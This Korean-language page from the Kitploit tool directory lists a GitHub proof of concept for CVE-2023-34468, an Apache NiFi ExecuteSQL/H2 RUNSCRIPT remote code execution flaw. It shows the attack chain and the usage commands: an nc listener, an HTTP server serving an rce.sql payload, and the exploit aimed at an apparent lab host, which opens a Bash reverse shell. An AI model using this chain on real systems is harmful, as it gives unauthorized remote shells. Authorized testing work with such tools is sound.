Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-34468 — CVE-2023-34468 Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC | Kitploit
도구/GitHubGitHub/ozcanpng/cve-2023-34468
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubozcanpng/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC

저장소 보기
31개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC

편집 가능한 Apache NiFi ExecuteSQL 프로세서를 악용하여 H2 RUNSCRIPT 페이로드로 Bash 리버스 셸을 통한 원격 명령 실행을 트리거하는 간단한 Python PoC입니다.

승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에는 사용하지 마십시오.


동작 방식

root@kitploit:~
ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore
  1. 단일 ExecuteSQL 프로세서를 자동으로 탐색하거나 --processor-id를 수동으로 허용합니다.
  2. Java 기반 셸 실행 별칭을 정의하고 호출하는 로컬 rce.sql 페이로드를 작성합니다.
  3. 직접 nc 리스너와 HTTP 서버를 시작하도록 안내합니다.
  4. H2 RUNSCRIPT를 통해 rce.sql을 가져오도록 프로세서 쿼리를 업데이트합니다.
  5. 리버스 셸을 트리거하기 위해 프로세서를 시작합니다.
  6. 셸 연결을 확인한 후 원래 프로세서 구성을 복원합니다.

스크린샷

도구 다운로드

1. 설정

설정

2. 페이로드에 대한 요청

익스플로잇 실행

3. 셸 수신

프로세서 업데이트

4. 결과

결과


설치

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

사용법

터미널 1:

root@kitploit:~
rlwrap nc -lvnp 4444

터미널 2, 이 저장소 디렉터리에서:

root@kitploit:~
python3 -m http.server 8000

터미널 3:

root@kitploit:~
python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444

수동 프로세서 선택:

root@kitploit:~
python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444

영향을 받는 제품

제품영향을 받는 버전필요한 접근 권한영향
Apache NiFiCVE-2023-34468 — 편집 가능한 ExecuteSQL/H2 동작을 사용하는 영향받는 배포API를 통해 대상 NiFi 프로세서에 도달 및 수정 가능원격 명령 실행

참고 사항

  • 이 스크립트는 NiFi API에 접근 가능하고 현재 사용자/세션이 대상 프로세서를 수정할 수 있다고 가정합니다.
  • 생성된 rce.sql 파일은 git에서 무시되며, 저장소 디렉터리에서 python3 -m http.server를 통해 서빙되어야 합니다.
  • 자동 탐색에서 프로세서를 찾지 못하거나 후보가 여러 개인 경우 --processor-id로 프로세서 UUID를 수동으로 전달하십시오.
  • 이 스크립트는 셸 연결을 확인한 후 원래 ExecuteSQL 프로세서 구성을 복원하려고 시도합니다.

참고 자료

  • NVD — CVE-2023-34468
  • Apache NiFi
  • H2 데이터베이스 명령

작성자

ozcanpng — github.com/ozcanpng — ozcanpng.dev